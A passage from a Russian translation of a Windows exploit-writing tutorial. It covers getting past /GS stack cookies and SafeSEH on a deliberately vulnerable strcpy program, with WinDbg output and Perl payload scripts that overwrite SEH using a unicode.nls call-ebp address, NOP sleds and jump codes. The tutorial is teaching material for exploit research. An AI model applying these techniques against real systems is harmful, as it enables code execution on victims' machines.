   12 0040103e 8b55e8          mov     edx,dword ptr [ebp-18h]
   12 00401041 83c201          add     edx,1
   12 00401044 8955e8          mov     dword ptr [ebp-18h],edx
   12 00401047 807de300        cmp     byte ptr [ebp-1Dh],0
   12 0040104b 75d8            jne     gsvtable!Foo::gs3+0x25 (00401025)

gsvtable!Foo::gs3+0x4d
   13 0040104d 8b45f0          mov     eax,dword ptr [ebp-10h]
   13 00401050 8b10            mov     edx,dword ptr [eax]
   13 00401052 8b4df0          mov     ecx,dword ptr [ebp-10h]
   13 00401055 8b02            mov     eax,dword ptr [edx]
   13 00401057 ffd0            call    eax    ;this is where bar() is called (via vtable ptr)
   14 00401059 8b4dfc          mov     ecx,dword ptr [ebp-4]
   14 0040105c 33cd            xor     ecx,ebp
   14 0040105e e854000000      call    gsvtable!__security_check_cookie (004010b7)
   14 00401063 8be5            mov     esp,ebp
   14 00401065 5d              pop     ebp
   14 00401066 c20400          ret     4

Stack cookie :

0:000> dd 00403018
00403018  cd1ee24d 32e11db2 ffffffff ffffffff
00403028  fffffffe 00000001 004020f0 00000000
00403038  56413f2e 406f6f46 00000040 00000000
00403048  00000001 00343018 00342980 00000000
00403058  00000000 00000000 00000000 00000000

Виртуальная функция bar() выглядит следующим образом:

0:000> uf Foo::bar
gsvtable!Foo::bar
   16 00401070 55              push    ebp
   16 00401071 8bec            mov     ebp,esp
   16 00401073 51              push    ecx
   16 00401074 894dfc          mov     dword ptr [ebp-4],ecx
   17 00401077 8be5            mov     esp,ebp
   17 00401079 5d              pop     ebp
   17 0040107a c3              ret

Если вы посмотрите на стек, в тот момент, когда функция gs3 будет вызывана, то увидите следующее:

  • 0x0012ff70 = сохранен EIP
  • 0x0012ff74 = аргументы
  • 0x0012ff78 = указатель на vtable (указывает на 0x0040211c)
0:000> u 0040211c
gsvtable!Foo::`vftable':
0040211c 7010            jo      gsvtable!_load_config_used+0xe (0040212e)
0040211e 40              inc     eax
0040211f 004800          add     byte ptr [eax],cl
00402122 0000            add     byte ptr [eax],al
00402124 0000            add     byte ptr [eax],al
00402126 0000            add     byte ptr [eax],al
00402128 0000            add     byte ptr [eax],al
0040212a 0000            add     byte ptr [eax],al

Вначале strcpy, стек установливается следующим образом:

(Сначала, на стеке, становятся доступными 32 байта (sup esp,20), что заставляет ESP указвать на 0x0012ff4c)

По адресу 0x0012FF78, мы видим указатель на vtable. Стек по адресу 0x0012ff5c содержит 0012ff78.

Cookie вначале помещаются в EAX, а затем ксорятся (XORed) с EBP. После чего, помещаются в стек (по адресу 0×001268)

После записи в стек строки «AAAABBBBCCCCDDDD» (т.е. происходит преполнение буфера), наши cookie перезаписываются символами «CCCC» и, в данный момент, мы готовы к перезаписии EIP символами «EEEE».

После того как переполнение будет выполнено, стек будет выглядеть так:

(Адресс 0x0012ff5c все еще указывает на адрес 0x0012ff78, который в свою очередь указывает на vtable расположенную по адресу 0x0040211c)

После выполнения strcpy (перезаписи стека), инструкция по адресу 0040104D будет пытаться получить и поместить в EAX адрес вирутальной функции bar().

До того, как эти инструкции будут выполены, ригистры выглядят так:

Затем, выполняются четыре инструкции, которые пытаются загрузить адрес функции в EAX…

0040104D  |. 8B45 F0        MOV EAX,DWORD PTR SS:[EBP-10]
00401050  |. 8B10           MOV EDX,DWORD PTR DS:[EAX]
00401052  |. 8B4D F0        MOV ECX,DWORD PTR SS:[EBP-10]
00401055  |. 8B02           MOV EAX,DWORD PTR DS:[EDX]

Результатом выполнения этих четырех инструкций является следующее состояние регистров:

Затем осуществляется вызов CALL EAX (который пытается вызывать виртуальную функцию bar(), которая в дествительности расположена по адресу 00401070).

00401057  |. FFD0           CALL EAX                 ;  gsvtable.00401070

Но, EAX сейчас содержит данные которые мы контролируем…

=> cookie были повреждены, но мы всё еще контролируем EIP (потому, что мы контролируем EAX и перезаписали указатель на vtable). EBP и EDX, кажется, указывают на наш буфер, так что создать эксплойт должно быть очень просто.

SafeSEH

SafeSEH еще один механизм безопасности, который предназначен для того, чтобы препятствовать атакам основанным на SEH. Данный механизм включается параметром компилятора (/SAFESEH), который может быть применен ко всем исполняемым модулям, таким как: .exe, .dll, etc (за подробностями обращайтесь к uninformed v5a2).

SafeSEH, в отличии от механизма защиты стека (который, помещает cookie перед адресом возврата), защищает цепочку обработчиков исключений. Если SEH-цепочка будет модифицированна, приложение завершит свое выполнение без перехода на обработчик исключений, сообщающий об ошибке. SafeSEH будет осуществлять проверку целостности SEH-цепочки перед тем, как перейти на обработчик исключений. Он осуществляет это последовательным «проходом по цепочке» до тех пор, пока не достигнет 0xffffff (конец цепочки), одновременно проверяя то, что он встретился с валидным фреймом.

Если вы хотите перезаписать SEH-обработчик, вам так же нужно презаписать next SEH… что повредит цепочку, что в свою очередь приведет к срабатыванию SafeSEH. Майкросовтовская реализация техники SafeSEH (на данный момент) довольно стабильна.

Обход SafeSEH: Введение

Как объяснялось в Уроке 3, единственный способ, спомощью которого можно обойти SafeSEH заключается в том, чтобы:

=> Не пытаться исполнять SEH-ориентированный эксплойт (а искать возможность прямой перезаписи :-))

Или

=> Если уязвимое приложение и один или больше модулей (приложения или ОС) не скомпилированы с поддержкой SafeSEH, то вы можете использовать адрес, на последовательность инструкций «POP/POP/RET», который можно взять у одного из доступных модулей (скомпилированных без поддержки SafeSEH) и это будет работать. В сущности, рекомендуется искать модуль принадлежащий приложению, поскольку это сделает ваш эксплойт более надежным, при его запуске на различных версиях ОС, но если у вас есть модуль ОC, то это так же будет работать.

=> Если единственным модулем (без SafeSEH) является сам исполняемый файл приложения, то вы все еще можете проэксплуатировать уязвимость, но только при определенных условиях. Двоичный файл приложения будет (скорее всего) загружен по адресу, который начинается с нулевого байта. Если вы сможете найти в нем последовательность инструкций «POP/POP/RET», то вы сможете использовать этот адресс (нулевой байт будет в конце), однако вы не сможете поместить ваш шелкод после перезаписанного SEH-обработчика (потому, что шеллкод не будет помещен в память, так как нулевой байт будет действовать как ограничитель). Таким образом, эксплойт будет работать если:

  • шеллкод помещен в буфер перед тем, как nSEH/SHE будет перезаписан;
  • на шеллкод можно сослаться, используя 4-х байтовый опкод (jumpcode), которым перезаписывается nSEH (здесь, может сработать трюк с отрицательным прижком);
  • вы все еще можете вызывать исключение (которое, может не возникнуть, поскольку большинство исключений происходит во время переполнения стека, что не будет работать, когда вы остановитесь на перезаписи SEH).

За более подробной информацией о SEH и SafeSEH обращайтесь к:
http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/ и http://www.corelan.be:8800/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/

Так же, большая часть этого Урока основана на работе Дэвида Личфилда (Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server)

Как уже говорилось ранее, начиная с Windows Server 2003, был добавлен новый механизм защиты. Этот механизм должен помочь пресечь злоупотребления с перезаписью обработчиков исключений. В кратце, механизм её работает описанн ниже:

В момент, когда вызывается указатель на обработчик исключений, функция KiUserExceptionDispatcher (из ntdll.dll) производит проверку на то, действительно ли указатель является валидным EH-указателем. Сначала, она попытается установить, не собирается ли код прыгать назад на адрес в стеке. Делает она это путем получения верхнего и нижнего адреса стека (просматривая запись TEB (Thread Environment Block), через FS:[4] и FS:[8]). Если обработчик исключений, находится в пределах этого диапазона (т.е. если он указывает на адресс в стеке), то обработчик не будет вызыван.

Если указатель на обработчик исключений не находится в стеке, адресс сверяется со списком загруженных модулей (и образом самого испольняемого файла), чтобы посмотреть не попадает ли он в адрессное пространство одного из этих модулей. Если попадает, то указатель сверяется со списком зарегистрированых обработчиков. Если находится соответствие – указатель принимается. Я не собираюсь обусуждать здесь подробности того, как этот указатель проверяется, но помните, что одна из ключевых проверок выполняется над Load Configuration Directory. Если модуль не имеет Load Configuration Directory, обработчик будет вызван.

Что если адрес не принадлежит диапозону загруженного модуля? Ну, в таком случае, обработчик считается безопасным и он будет вызван. (Это то, что мы называем Fail-Open security :-))

Существует несколько возможных техник, которые могут быть использованы для этого нового типа защиты, т.е. SEH:

  • Если адрес обработчика исключений, находится вне адресного пространства загруженного модуля, то он будет выполнен.
  • Если адрес обработчика исключение находится внутри адресного пространства модуля, этот модуль не имеет Load Configuration Directory и характеристики DLL позволяют нам пройти проверку SEH-обработчика, то указатель будет выполнен.
  • Если адресс обработчика перезаписан адресом из стека, то он не будет выполнен. Но, если указатель перезаписан адресом из кучи (heap), он будет выполнен. Конечно, это предполагает то, что ваш эксплойт будет загружаться в кучу и уже там, будете пытаться предугадывать более или менее надежный адрес из неё же, который может быть использован для перенаправления потока испольнения. Это может быть сложным, так как этот адрес может быть не предсказуемым.
  • Если структура exception_registration будет перезаписана, и указатель будет указывать на уже зарегистрированный обработчик исключений, который выполнит код, который поможет вам получить контроль. Конечно, эта техника подходит только тогда, когда код обработчика исключений не сломает шеллкод и в дествительности поможет положить контролируемый адрес в EIP. Правда, такое редко происходит, но иногда случается.

Обход SafeSEH: Используя адрес вне адресного пространства загруженных модулей

Загруженные модули или образ исполняемого файла, загруженный в память, во время работы приложения, скорее всего, будету содержать указатели на последовательность инструкций «POP/POP/RET», которые мы обычно используем, при создании SEH-ориентированных эксплойтов. Но это не единственное место в памяти, где мы можем найти подобные инструкции. Если мы можем найти инструкции «POP/POP/RET» в памяти вне адресного пространства загруженных модулей, и это место является постоянным (так как, например, оно принадлежит одному из процессов OC Windows), то этот адресс так же можно использовать. К сожалению, даже если вы найдете такой постоянный адресс, вы обнаружите, что этот одрес, вероятно, не будет тем же в других версиях ОС. Таким образом, эксплойт сможет работать только, если он нацелен на одну конкретную версию ОС.

Другим (возможно даже лучшим) способ преодоления этой «проблемы» будет поиск другого набора инструкций, например:

  • call dword ptr[esp+nn]
  • jmp dword ptr[esp+nn]
  • call dword ptr[ebp+nn]
  • jmp dword ptr[ebp+nn]
  • call dword ptr[ebp-nn]
  • jmp dword ptr[ebp-nn]

(Возможные значения смещений для «nn», которые можно поискать: esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18)

Альтернативным вариантом может быть то, что если ESP+8 указывает на структуру exception_registration, то вы все еще можете найти комбинацию «POP/POP/RET» (в памяти вне адресного пространства загруженных модулей) и это будет работать. Наконец, вы можете найти последовательность «ADD ESP+8 / RET», которая обойдет SafeSEH.

Допустим, мы хотим найти «EBP+30». Преобразуем CALL и JMP инструкции в опкоды:

0:000> a
004010cb call dword ptr[ebp+0x30]
call dword ptr[ebp+0x30]
004010ce jmp dword ptr[ebp+0x30]
jmp dword ptr[ebp+0x30]
004010d1 

0:000> u 004010cb
004010cb ff5530          call    dword ptr [ebp+30h]
004010ce ff6530          jmp     dword ptr [ebp+30h]

Теперь, попытаемся найти адресс, который бы содержал эти инструкции. Если он будет находится вне адресного пространства загруженых модулей и адресного пространства исполняемого файла, то мы можем победить!

Чтобы продемонстрировать это, мы будем использовать простой код, который использовался для объяснения GS-защиты (пример 1), для которого попытаемся создать рабочий эксплойт для OC Windows 2003 Server R2 SP2, Standard Edition (English).

#include "stdafx.h"
#include "stdio.h"
#include "windows.h"

void GetInput(char* str, char* out)
{
	char buffer[500];
	try
	{
         strcpy(buffer,str);
	 strcpy(out,buffer);
         printf("Input received : %s\n",buffer);
	}
	catch (char * strErr)
	{
		printf("No valid input received ! \n");
		printf("Exception : %s\n",strErr);
	}
}

int main(int argc, char* argv[])
{
    char buf2[128];
    GetInput(argv[1],buf2);
    return 0;
}

На этот раз, скомпилируйте этот код без поддержки /GS и /RTC, но с поддержкой SafeSEH (убедитесь, что в командной строке линкера «linker» устновлен параметр /safeseh, а не /safeseh:no).

ПРИМЕЧАНИЕ: Я запускаю Windows 2003 Server R2 SP2 Standard Edition (English), с DEP в режиме OptIn (так что DEP активен только для ядерных процессов Windows, что не входит в настройки по умолчанию для Windows 2003 Server R2 SP2, но не переживайте, мы обсудим DEP/NX позже).

Во время загрузки скомпилированного файлa в OllyDbg, мы увидим, что все модули и сам исполняемый файл защищены с помощью SafeSEH.

Мы сможем перезаписать SEH-структуру после 508 байтов. Таким образом, следующиq код поместит «BBBB» в next_seh а «DDDD» в seh:

my $size=508;
$junk="A" x $size;
$junk=$junk."BBBB";
$junk=$junk."DDDD";
system("\"C:\\Program Files\\Debugging Tools for Windows (x86)\\windbg\" seh \"$junk\"\r\n");
Executable search path is:
ModLoad: 00400000 00406000   seh.exe
ModLoad: 7c800000 7c8c2000   ntdll.dll
ModLoad: 77e40000 77f42000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 78520000 785c3000   C:\WINDOWS\WinSxS\x86_Microsoft.VC90…dll
(c5c.c64): Break instruction exception - code 80000003 (first chance)
eax=78600000 ebx=7ffdb000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=00151f38
eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c81a3e1 cc              int     3
0:000> g
(c5c.c64): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8
eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
seh!GetInput+0xcb:
004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41
0:000> !exchain
0012fee0: 44444444
Invalid exception stack at 42424242

Окей, пока все хорошо. Теперь нам нужно найти адрес, который мы положим в SEH. Все модули (и исполняемый файл также) скомпилированны с поддержкой SafeSEH, поэтому мы не сможем использовать адреса из этих модулей.

Посему, давайте поищим в памяти инструкции «CALL/JMP DWORD PRT[reg+nn]». Мы знаем, что:

опкод ff 55 30 = call dword ptr [ebp+0x30], а опкод ff 65 30 = jmp dword ptr [ebp+0x30]:

0:000> s 0100000 l 77fffff ff 55 30
00270b0b  ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e  .U0......W0.....

В качестве альтернативы, вы можете использовать мой PyCommand pvefindaddr для Immunity Debugger, который поможет найти эти адреса. Команда !pvefindaddr jseh будет автоматически искать все комбинации CALL/JMP и перечислит только те, которые находятся в не адресного пространства модулей:

Обратите внимание, что скриншот, приведенный выше, взят из другой системы, поэтому, пожалуйста, сейчас, не берите в учет найденный на нем адрес. Если вы хотите получить копию этого плагина, то её можно скачать тут:

[INDENT]pvefindaddr for ImmDbg v1.73(213.0 KiB, 2,117 hits)[/INDENT]

Также, вы можете получить представление (view) карты памяти спомощью Immunity Debugger или OllyDbg, если вы сделаете это, то сможете увидеть, какому адресному пространству принадлежит найденый адрес:

Также, чтобы сдампить виртуальное адрессное пространство сегментов, вы можете использовать Microsoft vadump tool,

Вермнем к нашей поисковой операции. Если вы хотите найти больше инструкции (в основном благодаря увеличению области поиска), то удалитите значение смещения в вашем поисковой команде (или просто используйте плагин pvefindaddr в ImmDbg и вы сразу получите все результаты):

0:000> [B]s 0100000 l 77fffff [COLOR="red"]ff 55[/COLOR][/B]
00267643  ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3  .U.a.T.W...X....
00270b0b  ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e  .U0......W0.....
002fbfd8  ff 55 02 02 02 56 02 02-03 56 02 02 04 56 02 02  .U...V...V...V..
00401183  ff 55 8b ec f6 45 08 02-57 8b f9 74 25 56 68 54  .U...E..W..t%VhT
0040149e  ff 55 14 eb ed 8b 45 ec-89 45 e4 8b 45 e4 8b 00  .U....E..E..E...
00401509  ff 55 14 eb f0 c7 45 e4-01 00 00 00 c7 45 fc fe  .U....E......E..
00401542  ff 55 8b ec 8b 45 08 8b-00 81 38 63 73 6d e0 75  .U...E....8csm.u
0040163e  ff 55 8b ec ff 75 08 e8-4e ff ff ff f7 d8 1b c0  .U...u..N.......
004016b1  ff 55 8b ec 8b 4d 08 b8-4d 5a 00 00 66 39 01 74  .U...M..MZ..f9.t
004016f1  ff 55 8b ec 8b 45 08 8b-48 3c 03 c8 0f b7 41 14  .U...E..H<....A.
00401741  ff 55 8b ec 6a fe 68 e8-22 40 00 68 65 18 40 00  .U..j.h."[B][COLOR="green"]@.he.@[/COLOR][/B].
00401866  ff 55 8b ec ff 75 14 ff-75 10 ff 75 0c ff 75 08  .U...u..u..u..u.
004018b9  ff 55 8b ec 83 ec 10 a1-28 30 40 00 83 65 f8 00  .U......(0@..e..
0040198f  ff 55 8b ec 81 ec 28 03-00 00 a3 80 31 40 00 89  .U....(.....1@..

Bingo! Теперь нам нужно найти адрес, которы будет делать переход на нашу структуру. Этот адрес не может находится в адресном пространстве бинарного файла или загруженных модулей.

Кстати: если посмотрим на содержимое EBP, в момент, когда возникает исключение, то увидим следующее:

(be8.bdc): Break instruction exception - code 80000003 (first chance)
eax=78600000 ebx=7ffde000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=00151f38
eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c81a3e1 cc              int     3
0:000> g
(be8.bdc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8
eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
seh!GetInput+0xcb:
004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41
0:000> d ebp
0012feec  7c ff 12 00 79 11 40 00-f1 29 33 00 fc fe 12 00  |...y.@..)3.....
0012fefc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff0c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff1c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff2c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff3c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff4c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff5c  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Врнемся к результату поиска. Все адреса (см. вывод поисковой операции, приводившийся ранее), который начинаются с 0×004, не могут использоваться (поскольку, они принадлежат исполняемому файлу). Из всех этих адресов, нам подходит только 0x00270b0b, который совершает переход туда, куда нам нужно… Этот адрес принадлежит unicode.nls (и ни одному из загруженых модулей). Если вы посмотрите на виратульаное адресное пространство множественных процессов (svchost.exe, w3wp.exe, csrss.exe, etc), то увидите, что unicode.nls отображен во множество процессов (не во все из них), по разным базовым адресам. К счастью, базовый адресс остается постоянным для каждого процесса. Для консольного приложения, он всегда отображается по адресу 0×00260000 (на Windows 2003 Server R2 Standard SP2 English, что делает его надежным для испльзования в эксплойте. На Windows XP SP3 English он отображается по адресу 0×00270000, таким образом, адрес для использования на XP SP3 будет таким 0x00280b0b).

(Снова же, вы можете использовать мой плагин pvefindaddr, который сделает всю эту работу автоматически)

Единственна проблема, с которой возможно придется иметь дело, состоит в том, что наш адресс из unicode.nls, на инструкцию «CALL DWORD PTR[EBP+30h]», начинается с нулевого байта, а так как наш буфер использует ASCII-кодировку, мы не сможем поместить наш шеллкод после перезаписи SEH (поскольку, нулевой байт в ASCII-кодировке равен концу строки)… Но возможно мы сможем поместить его до перезаписи SEH-структуры и так или иначе сосслаться на него (или, вкачестве альтернативы, можно попытаться прыгнуть «назад», вместо прыжка в перед). Если бы это был Unicode-эскплойт, то это небыло бы проблемой, поскольку для юникода концом строки являеются два байта 00 00, а не один 00.

Давайте перезапишем next SEH несклькими брейкпойнта, а в SEH поместим 0x00270b0b:

$junk="A" x 508;
$junk=$junk."\xcc\xcc\xcc\xcc";
$junk=$junk.pack('V',0x00270b0b);

Executable search path is:
ModLoad: 00400000 00406000   seh.exe
ModLoad: 7c800000 7c8c2000   ntdll.dll
ModLoad: 77e40000 77f42000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 78520000 785c3000   C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1...dll
(a94.c34): Break instruction exception - code 80000003 (first chance)
eax=78600000 ebx=7ffdb000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=00151f38
eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c81a3e1 cc              int     3
0:000> g
(a94.c34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8
eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
seh!GetInput+0xcb:
004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41

0:000> [B][COLOR="red"]!exchain[/COLOR][/B]
0012fee0: 00270b0b
Invalid exception stack at cccccccc

0:000> g
(a94.c34): [B][COLOR="red"]Break instruction exception - code 80000003 (first chance)[/COLOR][/B]
eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000
eip=0012fee0 esp=0012f8e8 ebp=0012f90c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0012fee0 cc              int     3

0:000> [B][COLOR="red"]d eip[/COLOR][/B]
0012fee0  cc cc cc cc 0b 0b 27 00-00 00 00 00 7c ff 12 00  ......'.....|...
0012fef0  79 11 40 00 f1 29 33 00-fc fe 12 00 41 41 41 41  y.@..)3.....AAAA
0012ff00  41 41 41 41 41 41 41 41-41 41 41 41 [B][COLOR="red"]41 41 41 41[/COLOR][/B]  AAAAAAAAAAAA[B][COLOR="red"]AAAA[/COLOR][/B]
0012ff10  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff20  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff30  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff40  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff50  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
0012ff60  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff70  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff80  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ff90  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ffa0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ffb0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ffc0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012ffd0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Новая (контролируемая) SEH-цепочка показывает, что мы правильно перезаписали nSEH и SEH. После срабатывания исключения, поток управления перейдет на наш 4-х байтовый jumpcode расположенный в nSEH (в нашем случае это 4 брейкпойнта).

После возникновения исключения, проходя инструкции в пошаговом режиме (команда «t» в WinDbg), мы увидим, что будет вызывана процедура проверки, адрес будет определен как действительный (вызов ntdll!RtlIsValidHandler) и в конце концов, будет вызыван сам обработчик, который перенаправит нас на nSEH (4 брейкпойнта).

eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000
eip=7c828770 esp=0012f8f0 ebp=0012f90c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x24:
7c828770 ffd1            [B][COLOR="red"]call    ecx {00270b0b}[/COLOR][/B]
0:000>
eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000
eip=[B][COLOR="red"]00270b0b[/COLOR][/B] esp=0012f8ec ebp=[B][COLOR="red"]0012f90c[/COLOR][/B] iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00270b0b ff5530          [B][COLOR="red"]call    dword ptr [ebp+30h]  ss:0023:0012f93c=0012fee0[/COLOR][/B]
0:000>
eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000
eip=0012fee0 esp=0012f8e8 ebp=0012f90c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
[B][COLOR="red"]0012fee0 cc              int     3[/COLOR][/B]

При взгляде на EIP (см. предыдущий вывод WinDbg), видно, что на наш «junk» буфер, можно легко сослаться, несмотря на тот факт, что мы не смогли перезаписать больше памяти, после перезаписи SEH (потому, что буфер содержит нулевой байт). Таким образом, мы все еще можем получить рабочий эксплойт. Пространство под шеллкод будет ограничено примерно 500-та байтами… но он должен работать.

Итак, если мы заменим символы «A», цепочкой nops+shellcode+junk, и сделаем переход на nops, то должны быть в состоянии получить контроль над потоком исполнения. Простой эксплойт (с брейкпойнтами в качестве шеллкода):

my $size=508;
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc";
$junk=$nops.$shellcode;
$junk=$junk."\x90" x ($size-length($nops.$shellcode));
$junk=$junk."\xeb\x1a\x90\x90";  #nseh, jump 26 bytes
$junk=$junk.pack('V',0x00270b0b);
print "Payload length : " . length($junk)."\n";
system("\"C:\\Program Files\\Debugging Tools for Windows (x86)\\windbg\" seh \"$junk\"\r\n");
Symbol search path is: SRV*C:\windbg symbols*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00400000 00406000   seh.exe
ModLoad: 7c800000 7c8c2000   ntdll.dll
ModLoad: 77e40000 77f42000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 78520000 785c3000   C:\WINDOWS\WinSxS\x86_...4148_x-ww_D495AC4E\MSVCR90.dll
(6f8.9ac): Break instruction exception - code 80000003 (first chance)
eax=78600000 ebx=7ffd9000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=00151f38
eip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c81a3e1 cc              int     3
0:000> g
(6f8.9ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fd90 ebx=00000000 ecx=0012fd90 edx=00130000 esi=00000001 edi=004033a8
eip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
seh!GetInput+0xcb:
004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41
0:000> !exchain
0012fee0: 00270b0b
Invalid exception stack at 90901aeb
0:000> g
[B][COLOR="red"](6f8.9ac): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000
eip=0012ff14 esp=0012f8e8 ebp=0012f90c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0012ff14 cc              int     3[/COLOR][/B]
0:000> d eip
0012ff14  [B][COLOR="red"]cc cc[/COLOR][/B] 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012ff24  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012ff34  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012ff44  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012ff54  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012ff64  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012ff74  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012ff84  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Pwned! (то есть, если вы смогли найти способ обойти «the shellcode corruption» при переходе вперед :-()

Ну, какого черта, давайте используем 2 обратных перехода назад, чтобы обойти «corruption» и сделать эксплойт рабочим:

  • первый переход (jump) назад в nSEH (7 байт), поместит EIP в конец буфера, перед тем, как будет затронута SEH-структура.
  • второй выполнит прыжок назад на 400 байт (-400 (в десятичной системе) = fffffe70 (в HEX)). Количество нупов (nops) перед шеллкодом, будет установлено в 25 (поскольку иначе, шеллкод не будет правильно работать)
  • сам шеллкод поместим в payload перед тем, как SEH-структура будет перезаписана.
my $size=508;  #before SE structure is hit
